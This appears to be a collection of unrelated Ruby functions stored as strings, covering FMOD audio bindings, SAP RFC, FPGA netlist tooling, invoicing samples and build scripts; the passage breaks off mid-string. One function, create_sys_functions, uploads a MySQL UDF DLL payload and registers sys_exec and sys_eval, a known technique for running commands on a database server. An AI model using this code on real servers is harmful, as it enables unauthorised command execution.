@@lowDLL.import(\"SoundGroup_SetUserData\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetVolume\", \"ll\")\n @@lowDLL.import(\"SoundGroup_Stop\", \"l\")\n \n # DSP\n @@lowDLL.import(\"DSP_AddInput\", \"llpl\")\n @@lowDLL.import(\"DSP_DisconnectAll\", \"lll\")\n @@lowDLL.import(\"DSP_DisconnectFrom\", \"lll\")\n @@lowDLL.import(\"DSP_GetActive\", \"ll\")\n @@lowDLL.import(\"DSP_GetBypass\", \"ll\")\n @@lowDLL.import(\"DSP_GetChannelFormat\", \"llll\")\n @@lowDLL.import(\"DSP_GetDataParameterIndex\", \"lll\")\n @@lowDLL.import(\"DSP_GetIdle\", \"ll\")\n @@lowDLL.import(\"DSP_GetInfo\", \"llllll\")\n @@lowDLL.import(\"DSP_GetInput\", \"llpp\")\n @@lowDLL.import(\"DSP_GetMeteringEnabled\", \"lll\")\n @@lowDLL.import(\"DSP_GetMeteringInfo\", \"lll\")\n @@lowDLL.import(\"DSP_GetNumInputs\", \"ll\")\n @@lowDLL.import(\"DSP_GetNumOutputs\", \"ll\")\n @@lowDLL.import(\"DSP_GetNumParameters\", \"ll\")\n @@lowDLL.import(\"DSP_GetOutput\", \"llpp\")\n @@lowDLL.import(\"DSP_GetOutputChannelFormat\", \"lllllll\")\n @@lowDLL.import(\"DSP_GetParameterBool\", \"lllll\")\n @@lowDLL.import(\"DSP_GetParameterData\", \"llplll\")\n @@lowDLL.import(\"DSP_GetParameterFloat\", \"lllll\")\n @@lowDLL.import(\"DSP_GetParameterInfo\", \"llp\")\n @@lowDLL.import(\"DSP_GetParameterInt\", \"lllll\")\n @@lowDLL.import(\"DSP_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"DSP_GetType\", \"ll\")\n @@lowDLL.import(\"DSP_GetUserData\", \"lp\")\n @@lowDLL.import(\"DSP_GetWetDryMix\", \"llll\")\n @@lowDLL.import(\"DSP_Release\", \"l\")\n @@lowDLL.import(\"DSP_Reset\", \"l\")\n @@lowDLL.import(\"DSP_SetActive\", \"ll\")\n @@lowDLL.import(\"DSP_SetBypass\", \"ll\")\n @@lowDLL.import(\"DSP_SetChannelFormat\", \"llll\")\n @@lowDLL.import(\"DSP_SetMeteringEnabled\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterBool\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterData\", \"llll\")\n @@lowDLL.import(\"DSP_SetParameterFloat\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterInt\", \"lll\")\n @@lowDLL.import(\"DSP_SetUserData\", \"ll\")\n @@lowDLL.import(\"DSP_SetWetDryMix\", \"llll\")\n @@lowDLL.import(\"DSP_ShowConfigDialog\", \"lll\")\n \n # DSPConnection\n @@lowDLL.import(\"DSPConnection_GetInput\", \"lp\")\n @@lowDLL.import(\"DSPConnection_GetMix\", \"ll\")\n @@lowDLL.import(\"DSPConnection_GetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"DSPConnection_GetOutput\", \"lp\")\n @@lowDLL.import(\"DSPConnection_GetType\", \"ll\")\n @@lowDLL.import(\"DSPConnection_GetUserData\", \"lp\")\n @@lowDLL.import(\"DSPConnection_SetMix\", \"ll\")\n @@lowDLL.import(\"DSPConnection_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"DSPConnection_SetUserData\", \"ll\")\n \n # Geometry\n @@lowDLL.import(\"Geometry_AddPolygon\", \"lllllll\")\n @@lowDLL.import(\"Geometry_GetActive\", \"ll\")\n @@lowDLL.import(\"Geometry_GetMaxPolygons\", \"lll\")\n @@lowDLL.import(\"Geometry_GetNumPolygons\", \"ll\")\n @@lowDLL.import(\"Geometry_GetPolygonAttributes\", \"lllll\")\n @@lowDLL.import(\"Geometry_GetPolygonNumVertices\", \"lll\")\n @@lowDLL.import(\"Geometry_GetPolygonVertex\", \"llll\")\n @@lowDLL.import(\"Geometry_GetPosition\", \"ll\")\n @@lowDLL.import(\"Geometry_GetRotation\", \"lll\")\n @@lowDLL.import(\"Geometry_GetScale\", \"ll\")\n @@lowDLL.import(\"Geometry_GetUserData\", \"lp\")\n @@lowDLL.import(\"Geometry_Release\", \"l\")\n @@lowDLL.import(\"Geometry_Save\", \"lll\")\n @@lowDLL.import(\"Geometry_SetActive\", \"ll\")\n @@lowDLL.import(\"Geometry_SetPolygonAttributes\", \"lllll\")\n @@lowDLL.import(\"Geometry_SetPolygonVertex\", \"llll\")\n @@lowDLL.import(\"Geometry_SetPosition\", \"ll\")\n @@lowDLL.import(\"Geometry_SetRotation\", \"lll\")\n @@lowDLL.import(\"Geometry_SetScale\", \"ll\")\n @@lowDLL.import(\"Geometry_SetUserData\", \"ll\")\n \n # Reverb3D\n @@lowDLL.import(\"Reverb3D_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"Reverb3D_GetActive\", \"ll\")\n @@lowDLL.import(\"Reverb3D_GetProperties\", \"ll\")\n @@lowDLL.import(\"Reverb3D_GetUserData\", \"lp\")\n @@lowDLL.import(\"Reverb3D_Release\", \"l\")\n @@lowDLL.import(\"Reverb3D_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"Reverb3D_SetActive\", \"ll\")\n @@lowDLL.import(\"Reverb3D_SetProperties\", \"ll\")\n @@lowDLL.import(\"Reverb3D_SetUserData\", \"ll\")\n \n # Debugging functions\n # @@lowDLL.import(\"Debug_Initialize\", \"llll\")\n # @@lowDLL.import(\"File_GetDiskBusy\", \"l\")\n # @@lowDLL.import(\"File_SetDiskBusy\", \"l\")\n # @@lowDLL.import(\"Memory_GetStats\", \"lll\")\n # @@lowDLL.import(\"Memory_Initialize\", \"llllll\")\n end",
"def create_sys_functions(dbc)\n udf_name = randz(15) + \".dll\"\n plugin_path = get_plugin_dir(dbc)\n @udf_dest = plugin_path.chomp + udf_name\n if @build == 'x64'\n file = './payloads/64/lib_mysqludf_sys.dll'\n elsif @build == 'x32'\n file = './payloads/32/lib_mysqludf_sys.dll'\n end\n\n # Upload our UDF DLL Payload file\n if write_bin_file(dbc, file, @udf_dest)\n begin\n # Drop function if its already there, then create new\n q = dbc.query(\"DROP FUNCTION IF EXISTS sys_exec;\")\n q = dbc.query(\"CREATE FUNCTION sys_exec RETURNS int SONAME '#{udf_name}';\")\n q = dbc.query(\"CREATE FUNCTION sys_eval RETURNS string SONAME '#{udf_name}';\")\n\n # Confirm it was added and all is well....\n if sys_exec_check(dbc)\n return true\n else\n return false\n end\n rescue Mysql::Error => e\n puts \"Problem creating UDF SYS functions\".light_red + \"!\".white\n puts \"\\t=> \".white + \"#{e}\\n\\n\".light_red\n return false\n end\n end\nend",
"def addParameter(*parms)\n\t\t\t\tparms = parms.first if parms.class == Array and (parms.first.class == Hash || parms.first.kind_of?(SAPNW::RFC::Parameter))\n\t\t\t case parms\n\t\t\t\t when Array\n\t\t\t\t\t name, direction, type, len, ulen, decimals = parms\n\t\t\t\t when Hash\n name = parms.has_key?(:name) ? parms[:name] : nil\n direction = parms.has_key?(:direction) ? parms[:direction] : nil\n type = parms.has_key?(:type) ? parms[:type] : nil\n len = parms.has_key?(:len) ? parms[:len] : nil\n ulen = parms.has_key?(:ulen) ? parms[:ulen] : nil\n decimals = parms.has_key?(:decimals) ? parms[:decimals] : nil\n\t\t\t when SAPNW::RFC::Export, SAPNW::RFC::Import, SAPNW::RFC::Changing, SAPNW::RFC::Table\n\t\t\t\t\t # this way happens when a function def is manually defined\n\t\t\t\t\t self.add_parameter(parms)\n @parameters[parms.name] = parms\n\t\t\t\t\t\treturn parms\n\t\t\t\t else\n\t\t\t raise \"invalid SAPNW::RFC::FunctionDescriptor parameter supplied: #{parms.inspect}\\n\"\n\t\t\t\tend\n\t\t\t\t\n\t\t\t #$stderr.print \"parm: #{name} direction: #{direction} type: #{type} len: #{len} decimals: #{decimals}\\n\"\n case direction\n\t\t\t\t when SAPNW::RFC::IMPORT\n\t\t\t\t\t if @parameters.has_key?(name) and @parameters[name].direction == SAPNW::RFC::EXPORT\n\t\t\t\t\t p = SAPNW::RFC::Changing.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\t\telse\n\t\t\t\t\t p = SAPNW::RFC::Import.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\t\tend\n\t\t\t\t\twhen SAPNW::RFC::EXPORT\n\t\t\t\t\t if @parameters.has_key?(name) and @parameters[name].direction == SAPNW::RFC::IMPORT\n\t\t\t\t\t p = SAPNW::RFC::Changing.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\t\telse\n\t\t\t\t\t p = SAPNW::RFC::Export.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\t\tend\n\t\t\t\t\twhen SAPNW::RFC::CHANGING\n\t\t\t\t\t p = SAPNW::RFC::Changing.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\twhen SAPNW::RFC::TABLES\n\t\t\t\t\t p = SAPNW::RFC::Table.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\telse\n\t\t\t\t\t raise \"unknown direction (#{name}): #{direction}\\n\"\n\t\t\t\tend\n @parameters[p.name] = p\n\t\t\t\treturn p\n\t\t\tend",
"def generate_ModuleInfo(conformal_dir)\n total_num = 0\n hard_num = 0\n noneq_num = 0\n neq_num = 0\n\n # Get Hard Macro List\n open(\"#{conformal_dir}/HardMacroList.txt\").each do |macro_name|\n @EachModuleResult[\"#{macro_name.strip}\"] = \"Hard Macro\"\n total_num += 1\n hard_num += 1\n end\n # Get Conformal Result for each Module\n Dir::glob(\"#{conformal_dir}/*/diagnose_summary.txt\").each do |summary|\n mod_name = summary.split(\"/\")[2]\n type = \"Non-equivalent\"\n open(\"#{summary}\").each do |line|\n if /There is no non-equivalent compare point for diagnosis./ =~ line\n type = \"Equivalent\"\n end\n end\n @EachModuleResult[\"#{mod_name}\"] = type\n total_num += 1\n case type\n when \"Equivalent\"\n neq_num += 1\n when \"Non-equivalent\"\n noneq_num += 1\n end\n end\n \n # Generate Report\n file_name = \"ModuleResult.txt\"\n printf \"@I:generate #{file_name}\\n\"\n f = open(\"#{file_name}\",\"w\")\n comment = \"Conformal Report for each Module\"\n Common.print_file_header(f,\"#{comment}\",$SUB_TOOL,$VERSION,\"##\")\n # Pin Const\n f.printf \"* Conformal Result each Module\\n\"\n f.printf \"- The number of total modules is #{total_num}\\n\"\n f.printf \"- The number of Hard Macro module is #{hard_num}\\n\"\n f.printf \"- The number of Non-equivalent module is #{noneq_num}\\n\"\n f.printf \"- The number of Equivalent module is #{neq_num}\\n\"\n f.printf \"#br\\n\"\n f.printf \"|BGCOLOR(gray):COLOR(white):No|BGCOLOR(gray):COLOR(white):Module Name|BGCOLOR(gray):COLOR(white):Category|BGCOLOR(gray):COLOR(white):Analysis|\\n\"\n num =1\n @EachModuleResult.sort_by do |key|\n key\n end.each do |module_name,category|\n case category\n when \"Non-equivalent\"\n noneq_type = @AnalysisType[\"#{module_name}\"]\n case noneq_type\n when \"A\"\n f.printf \"|#{num}|#{module_name}|COLOR(red):#{category}|[Module ifdef][[NoneqAnalysis-#{module_name}]]|\\n\"\n when \"B\"\n f.printf \"|#{num}|#{module_name}|COLOR(red):#{category}|[Point Ignored][[NoneqAnalysis-#{module_name}]]|\\n\"\n when \"C\"\n f.printf \"|#{num}|#{module_name}|BGCOLOR(Olive):#{category}|[Diff][[NoneqAnalysis-#{module_name}]]|\\n\"\n when \"D\"\n f.printf \"|#{num}|#{module_name}|COLOR(red):#{category}|[Replace Macro][[NoneqAnalysis-#{module_name}]]|\\n\"\n when \"E\"\n f.printf \"|#{num}|#{module_name}|COLOR(red):#{category}|[Security][[NoneqAnalysis-#{module_name}]]|\\n\"\n when \"F\"\n f.printf \"|#{num}|#{module_name}|COLOR(red):#{category}|[FPGA Resource][[NoneqAnalysis-#{module_name}]]|\\n\"\n when \"G\"\n f.printf \"|#{num}|#{module_name}|BGCOLOR(Olive):#{category}|[Logic ifdef][[NoneqAnalysis-#{module_name}]]|\\n\"\n else\n f.printf \"|#{num}|#{module_name}|BGCOLOR(Olive):#{category}|[[NoneqAnalysis-#{module_name}]]|\\n\"\n end\n when \"Hard Macro\"\n f.printf \"|#{num}|#{module_name}|COLOR(blue):#{category}|---|\\n\"\n else\n f.printf \"|#{num}|#{module_name}|#{category}|---|\\n\"\n end\n num += 1\n end\n f.close\n end",
"def create_or_update_service_info(opts = {})\n component_defs_exist = Info::Component.component_defs_exist?(self.parsed_common_module)\n Info::Service.new(self, opts.merge(component_defs_exist: component_defs_exist)).create_or_update_from_parsed_common_module?\n end",
"def create_module_ref(ref_hash, opts = {})\n module_ref_hash = {\n :namespace => ref_hash['namespace'], \n :module_name => ref_hash['name'], \n :version => ref_hash['version']\n }\n module_ref_hash.merge!(:module_installed => opts[:module_installed]) if opts.has_key?(:module_installed)\n Install::ModuleRef.new(module_ref_hash)\n end",
"def headify\n unless File.exists?('.projectProtoMap')\n puts \"'.projectProtoMap' not found. Please run creatify first.\"\n exit(1)\n end\n\n File.open(\"holberton.h\", \"w\") do\n |f|\n f.puts \"#ifndef _HOLBERTON_H_\"\n f.puts \"#define _HOLBERTON_H_\"\n f.puts\n f.puts \"int _putchar(char);\"\n f.puts\n File.open(\".projectProtoMap\", \"r\").each_line do\n |line|\n filename = line.split(':')[-1]\n f.puts \"#{filename.chomp}\"\n f.puts\n puts \"adding #{filename.chomp} to holberton.h\"\n end\n f.puts \"#endif\"\n end\n puts \"Done\"\nend",
"def Com6 # Recuperation Info\n \n end",
"def create_or_update_component_info(opts = {})\n Info::Component.new(self, opts).create_or_update_from_parsed_common_module?(opts.merge(use_new_snapshot: true))\n end",
"def compat\n\t\tmodule_info['Compat'] || {}\n\tend",
"def sample_cfdis( facturama )\n puts \"===== Ejemplo de CFDI - Inicio =====\"\n\n # Creacion del cfdi en su forma general (sin items / productos) asociados\n #cfdi = sample_cfdis_create(facturama)\n #cfdi = sample_cfdis_create40(facturama)\n cfdi = sample_cfdis_factura_global(facturama)\n\n cfdi_uuid = cfdi['Complement']['TaxStamp']['Uuid']\n puts \"Se creó exitosamente el cfdi con el folio fiscal: \" + cfdi_uuid\n\n # Descarga de los arvhivos PDF y XML del cfdi recien creado\n #file_path = \"factura\" + cfdi_uuid\n #facturama.cfdis.save_pdf( file_path + \".pdf\", cfdi['Id'])\n #facturama.cfdis.save_xml( file_path + \".xml\", cfdi['Id'])\n\n # Envio del cfdi por correo\n #if facturama.cfdis.send_by_mail(cfdi['Id'], \"chucho@facturama.mx\", \"Factura del servicio\" )\n # puts \"Se envió por correo exitosamente el cfdi con el folio fiscal: \" + cfdi_uuid\n #end\n\n # Se elimina el cfdi recien creado\n facturama.cfdis.remove(cfdi['Id'],\"02\",\"fb296674-52b3-4824-8d77-669dbc82846e\")\n puts \"Se elminó exitosamente el cfdi con el folio fiscal: \" + cfdi_uuid\n\n\n # Consulta de cfdi por palabra clave o Rfc\n #lst_by_rfc = facturama.cfdis.list_by_rfc(\"ESO1202108R2\")\n #lst_by_keyword = facturama.cfdis.list_by_keyword(\"Software\")\n\n #puts \"Se obtiene la lista de facturas por RFC: #{lst_by_rfc.length}\"\n #puts \"Se obtiene la lista de facturas por KEYWORD: #{lst_by_keyword.length}\"\n\n\n puts \"===== Ejemplo de CFDI - Fin =====\"\n end",
"def test_bb_addMolid2File\n ifn = @@env + '_1.sdf'\n ofn = @@env + '_2.sdf'\n addMolid2File(ifn, ofn)\n puts \"\\nwrite to #{ofn}\\n\"\n end",
"def setup_fortran_osx\n return unless (config[:os] == 'osx')\n if r_version_less_than('3.4')\n sh.cmd 'curl -fLo /tmp/gfortran.tar.bz2 http://r.research.att.com/libs/gfortran-4.8.2-darwin13.tar.bz2', retry: true\n sh.cmd 'sudo tar fvxz /tmp/gfortran.tar.bz2 -C /'\n sh.rm '/tmp/gfortran.tar.bz2'\n elsif r_version_less_than('3.7')\n sh.cmd \"curl -fLo /tmp/gfortran61.dmg #{repos[:CRAN]}/contrib/extra/macOS/gfortran-6.1-ElCapitan.dmg\", retry: true\n sh.cmd 'sudo hdiutil attach /tmp/gfortran61.dmg -mountpoint /Volumes/gfortran'\n sh.cmd 'sudo installer -pkg \"/Volumes/gfortran/gfortran-6.1-ElCapitan/gfortran.pkg\" -target /'\n sh.cmd 'sudo hdiutil detach /Volumes/gfortran'\n sh.rm '/tmp/gfortran61.dmg'\n else\n sh.cmd \"curl -fLo /tmp/gfortran82.dmg https://github.com/fxcoudert/gfortran-for-macOS/releases/download/8.2/gfortran-8.2-Mojave.dmg\", retry: true\n sh.cmd 'sudo hdiutil attach /tmp/gfortran82.dmg -mountpoint /Volumes/gfortran'\n sh.cmd 'sudo installer -pkg \"/Volumes/gfortran/gfortran-8.2-Mojave/gfortran.pkg\" -target /'\n sh.cmd 'sudo hdiutil detach /Volumes/gfortran'\n sh.rm '/tmp/gfortran82.dmg'\n end\n end",
"def installDeps(copy)\n deps = Buildr.artifacts(project('infra').compile.dependencies).map(&:to_s)\n deps << project('infra').package.to_s\n\t\t EXTRA_JARS.each do |jar|\n\t\t\t\t\tdeps << jar\n\t\t\t\tend\n deps = skipDeps(deps)\n\n classpathFile = File.new(GT4LIB + '/gndms-dependencies.xml', 'w')\n classpathFile.syswrite('<?xml version=\"1.0\"?>' + \"\\n\" + '<project><target id=\"setGNDMSDeps\"><path id=\"service.build.extended.classpath\">' + \"\\n\")\n depsFile = File.new(GT4LIB + '/gndms-dependencies', 'w')\n deps.select { |jar| jar[0, GT4LIB.length] != GT4LIB }.each { |file| \n basename = File.basename( file )\n newname = GT4LIB+'/'+basename\n if (copy)\n puts 'cp: \\'' + file + '\\' to: \\'' + newname + '\\''\n cp(file, newname)\n puts 'yay'\n chmod 0644, newname\n else\n puts 'ln_sf: \\'' + file + '\\' to: \\'' + newname + '\\''\n chmod 0644, file\n ln_sf(file, newname)\n end\n depsFile.syswrite(basename + \"\\n\") \n classpathFile.syswrite('<pathelement location=\"' + basename + '\" />' + \"\\n\")\n }\n depsFile.close\n classpathFile.syswrite('</path></target></project>' + \"\\n\\n\")\n classpathFile.close\n end",
"def modify_Remove(inst_inf,mode,exe_mode)\n # if Already Remove, Skip This function\n return if @RemovedMacro.index(\"#{inst_inf.ModuleName}\") != nil\n\n # Make output directory\n # Make Verilog-HDL for RemoveMacro\n if exe_mode == \"BlackBox\"\n outdir = @outdir + \"/BlackBox\"\n filename = outdir + \"/\" + inst_inf.ModuleName + \".v\"\n @BlackBoxFileList << filename\n else\n if @outdir == \".\"\n outdir = Dir.pwd + \"/RemoveMacro_TMP\"\n else\n outdir = @outdir + \"/RemoveMacro_TMP\"\n end\n filename = outdir + \"/\" + inst_inf.ModuleName + \"_TMP.v\"\n end\n printf(\"@I:make output directory(%s)\\n\",outdir)\n Dir::mkdir(outdir) unless FileTest::directory?(outdir)\n\n # Add FileControl\n FMakeFileControl::Verilog.add(filename)\n \n # Overwrite Warning\n FMakeMessage.PrintWarning( :category => \"FMakeLogic\", :no => 100, :file_name => File.basename(__FILE__), :filename => filename) if FileTest::exist?(filename)\n \n printf(\"@I:Generaete \\\"%s\\\" at temporary Reove Macro.\\n\",filename)\n f = open(filename,\"w\")\n comment = \"Remove Macro (\" + inst_inf.ModuleName + \")\"\n Common.print_file_header(f,comment,\"FMake\",$VERSION,\"//\")\n\nf.print <<EOB\n//-----------------------------------------------------------------------------\n// Title : Remove Macro for #{inst_inf.ModuleName}\n// Project : FPGA-ICE for #{@product_name}\n//-----------------------------------------------------------------------------\n// File : #{File.basename(filename)}\n// Author : Automacically generated by FMake ( ver #{$VERSION} )\n// Created : #{Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")}\n// Last modified : #{Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")}\n//-----------------------------------------------------------------------------\n// Description :\n// <description>\n//-----------------------------------------------------------------------------\n// Copyright (c) #{Time.now.strftime(\"%Y\")} by Renesas Electronics This model is the confidential and\n// proprietary property of <company> and the possession or use of this\n// file requires a written license from Renesas Electronics.\n//------------------------------------------------------------------------------\n// Modification history :\n// #{Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")} : created\n//-----------------------------------------------------------------------------\n\n/*\n * This File is temporary circuit for Remove Macro.\n * You HAVE TO edit this file to match product specification before FPGA synthesis.\n * \n * Default circuit\n * All input signals - Non-Connect in this module\n * All output signals - Output PULLDOWN signal\n * All inout signals - Output Hi-Z signal\n */\n\nEOB\n\n # get Port Information\n signalList = XMLParse::get_PortList(@root,inst_inf.ModuleName)\n \n # print Module\n f.printf(\"module\\t%s(\\n\",inst_inf.ModuleName)\n\n # Print Terminal List\n list = Array.new\n signalList.each_key do |name|\n list << \"\\t\\t\" + name\n end\n f.printf(\"%s\\n\",list.join(\",\\n\"))\n\n # print Close-Module\n f.printf(\"\\t\\t);\\n\\n\")\n\n # print Port List\n signalList.each do |name,inf|\n if inf.Size == 1\n f.printf(\"\\t%s\\t%s;\\n\",inf.Type,name)\n else\n f.printf(\"\\t%s\\t[%d:%d]\\t%s;\\n\",inf.Type,inf.MSB,inf.LSB,name)\n end\n end\n\n # print Output-Clamp\n f.printf(\"\\n\\t// PULLDOWN for output/inout port\\n\")\n signalList.each do |name,inf|\n next if inf.Type == \"input\"\n if inf.Size == 1\n if inf.Type == \"output\"\n f.printf(\"\\tassign %s = 1'b0;\\n\",name)\n else\n f.printf(\"\\tassign %s = 1'bz;\\n\",name)\n end\n else\n if inf.Type == \"output\"\n f.printf(\"\\tassign %s = %d'b0;\\n\",name,inf.Size)\n else\n f.printf(\"\\tassign %s = %d'bz;\\n\",name,inf.Size)\n end\n end\n end\n\n # print Close-Module\n f.printf(\"\\nendmodule\\n\\n\")\n\n f.close\n\n XMLParse::delete_Module(@root,inst_inf.ModuleName)\n @RemovedMacro << inst_inf.ModuleName\n\n end",
"def create_new_module_version(version, diffs_summary, opts = {})\n ret = ModuleDSLInfo.new\n # do pull and see if any changes need the model to be updated\n force = opts[:force]\n generate_docs = opts[:generate_docs]\n\n # create module branch for new version\n begin\n # set frozen field in module branch object to true for new version\n module_branch = self.create_new_version(nil, version, frozen: true)\n rescue VersionExist => e\n return {version_exist: true} if opts[:do_not_raise_if_exist]\n fail e\n rescue Exception => e\n fail e\n end\n pull_was_needed = true\n\n parse_needed = (opts[:force_parse] || generate_docs || !module_branch.dsl_parsed?())\n update_from_includes = opts[:update_from_includes]\n\n opts_update = Aux.hash_subset(opts, [:do_not_raise, :force_parse, :update_from_includes])\n # TODO: took this out; maksing sure not removing any needed options: opts_update = Aux.hash_subset(opts, [:do_not_raise, :modification_type, :force_parse, :auto_update_module_refs, :dsl_parsed_false, :update_module_refs_from_file, :update_from_includes, :current_branch_sha, :service_instance_module, :task_action])\n opts_update.merge!(ret_parsed_dsl: ParsedDSL.create(self)) if generate_docs\n ret = update_model_from_clone_changes(nil, diffs_summary, module_branch, version, opts_update)\n\n if generate_docs and ! ret[:dsl_parse_error]\n generate_and_persist_docs(module_branch, ret.parsed_dsl)\n end\n\n ret\n end",
"def create_module_database_files\n if not @table.empty?\n create_file(\"#{@module}.install\", \"<?php\\n\")\n append_template(\"#{@module}.install\", 'comments/file', @tokens)\n ['install', 'schema'].each do |hook|\n append_template(\"#{@module}.install\", \"incs/#{hook}\", @tokens)\n end\n \n create_file(\"#{@module}_db.inc\", \"<?php\\n\")\n append_template(\"#{@module}_db.inc\", 'comments/file_db', @tokens)\n append_template(\"#{@module}_db.inc\", \"incs/module_db\", @tokens)\n \n append_template(\"#{@module}.module\", \"hooks/init\", @tokens) unless @hooks.include('init')\n end\n end",
"def change_import (libpath, import, newimport)\n log \"\\tchange_import called with libpath: #{libpath}, import: #{import}, newimport: #{newimport}\"\n return if newimport == import\n log \"\\tChange import #{import} to #{newimport}\"\n unless system(\"install_name_tool\", \"-change\", import, newimport, libpath)\n fail \"install_name_tool failed\"\n end\nend",
"def connect_modify_to_xml(con_db,con,base_sig,base_module,base_instance,base_port,target_module,target_instance,target_port,port_already=false)\n printf(\"connect_modify_to_xml Base:%s , Target:%s\\n\",base_module,target_module) if $VERBOSE\n=begin\n p \"base_sig:#{base_sig.Name}\"\n p \"base_module:#{base_module}\"\n p \"base_instance:#{base_instance}\"\n p \"base_port:#{base_port}\"\n p \"target_module:#{target_module}\"\n p \"target_instance:#{target_instance}\"\n p \"target_port:#{target_port}\"\n=end\n # resolve Hierarchy ( Module/Instance, Base/Target)\n base_current_module, base_upper_module, base_higher_module_name, base_upper_module_size = analyze_BaseTarget_path(base_module,\"module\") if base_module != nil\n base_current_instance, base_upper_instance, base_higher_instance_name, base_upper_instance_size = analyze_BaseTarget_path(base_instance,\"instance\") if base_instance != nil\n target_current_module, target_upper_module, target_higher_module_name, target_upper_module_size = analyze_BaseTarget_path(target_module,\"module\") if target_module != nil\n target_current_instance, target_upper_instance, target_higher_instance_name, target_upper_instance_size = analyze_BaseTarget_path(target_instance,\"instance\") if target_instance != nil\n\n force_upper = false\n if base_upper_instance != nil && target_upper_instance != nil\n base_path = base_upper_instance.split(\".\") \n target_path = target_upper_instance.split(\".\") \n if ( target_path - base_path == target_path ) && ( base_path != [] )\n force_upper = true\n end\n end\n \n if base_upper_instance == nil # Connct from Terminal To Port ( module port and wire are already added in XML )\n \n if base_module == target_higher_module_name # Connect to Instance\n printf(\"@I:Modify XML from Terminal( module : %s, port : %s) to Instance-Port ( instance : %s ).\\n\",base_module,base_port,target_current_instance )\n \n # make wire data\n signal = FICE_DB::SignalInf.new( \n :name => base_port, \n :type => \"wire\", \n )\n # Change Connection to base_instance\n printf(\"XML Modify. Change Connection for %s.%s\\n\",target_current_instance,target_port) if $VERBOSE\n XMLParse::change_Connection(@root,base_module,target_current_instance,{\"#{target_port}\" => [signal]},con_db)\n\n else # Next Lower Instance\n\n printf(\"@I:Modify XML from Terminal( module : %s, port : %s) to Instance-Port ( instance : %s ).\\n\",base_module,base_port,target_instance )\n # Next Lower module\n# FMakeMessage::PrintInternalError( :category => \"ALL\", :no => 0, :file_name => __FILE__, :lineno => __LINE__)\n \n end\n\n elsif target_upper_instance == nil # Connect Port to Terminal\n\n # Maybe same as Connect Upper Hierarchy. So no-need to implement\n printf(\"@I:Modify XML from Instance-Port to Terminal\\n\") if $VERBOSE\n FMakeMessage::PrintInternalError( :category => \"ALL\", :no => 0, :file_name => __FILE__, :lineno => __LINE__)\n\n elsif base_upper_instance == target_upper_instance # Same Hierarchy. Connect from Instance to Instance\n hier = \"Same\"\n printf(\"@I:Modify XML for Same Hierarchy.\\n\") if $VERBOSE\n\n # get wire name connecting Target Port\n case base_sig.Type\n when \"output\"\n # If Base Port have connection originally, Use Original Wire. But dont have it, make new\n if XMLParse::get_ConnectList(@root,\"#{base_higher_module_name}\",\"#{base_current_instance}\") != nil\n net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,base_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,target_port,con,false,port_already)\n else\n net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,base_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,target_port,con,true,port_already)\n end\n else\n # When input port, Base Instanc name was used in net name\n# net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,base_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,con)\n if XMLParse::get_ConnectList(@root,\"#{target_higher_module_name}\",\"#{target_current_instance}\")[target_port] == nil\n net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,target_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,target_port,con,false,port_already)\n else\n net_name = XMLParse::get_ConnectList(@root,\"#{target_higher_module_name}\",\"#{target_current_instance}\")[target_port][0].Name\n if net_name != nil\n net = FICE_DB::SignalInf.new( :name => net_name , :type => \"wire\", :msb => base_sig.MSB, :lsb => base_sig.LSB )\n printf(\"XML Modify. Add Wire to %s module ( wire name : %s )\\n\",target_higher_module_name,net.Name) if $VERBOSE\n XMLParse::add_Wire(@root,target_higher_module_name,net) \n else\n net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,target_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,target_port,con,false,port_already)\n end\n end\n end\n\n \n @connect_log.printf(\"[%s],%s,%s,%s,%s,%s\\n\",base_sig.Type,base_instance,base_port,net.Name,target_instance,target_port) if base_sig != nil\n \n case base_sig.Type\n when \"input\"\n printf(\"@I:Connect [Base]%s.%s <- [Net]%s <- [Target]%s.%s\\n\",base_instance,base_port,net.Name,target_instance,target_port)\n when \"output\"\n printf(\"@I:Connect [Base]%s.%s -> [Net]%s -> [Target]%s.%s\\n\",base_instance,base_port,net.Name,target_instance,target_port)\n when \"inout\"\n printf(\"@I:Connect [Base]%s.%s <-> [Net]%s <-> [Target]%s.%s\\n\",base_instance,base_port,net.Name,target_instance,target_port)\n else\n # internal error\n FMakeMessage.PrintInternalError( :category => \"FMakeLogic\", :no => 21, :file_name => File.basename(__FILE__), :lineno => __LINE__, :param => sig.Type) \n end\n # make wire data\n signal = FICE_DB::SignalInf.new( \n :name => net.Name, \n :type => \"wire\", \n :msb => net.MSB, \n :lsb => net.LSB, \n# No Use BusPortion in Base :portion => net.BusPortion, \n :word_top => net.WordTop, \n :word_buttom => net.WordButtom,\n :new_flag => true\n )\n\n # Change Connection to base_instance\n printf(\"XML Modify. Change Connection for %s.%s\\n\",base_instance,base_port) if $VERBOSE\n XMLParse::change_Connection(@root,base_higher_module_name,base_current_instance,{\"#{base_port}\" => [signal]},con_db)\n # Change Connection to target_instance\n # make wire data\n signal = FICE_DB::SignalInf.new( \n :name => net.Name, \n :type => \"wire\", \n :msb => net.MSB, \n :lsb => net.LSB, \n :portion => net.BusPortion, \n :word_top => net.WordTop, \n :word_buttom => net.WordButtom,\n :new_flag => true\n )\n printf(\"XML 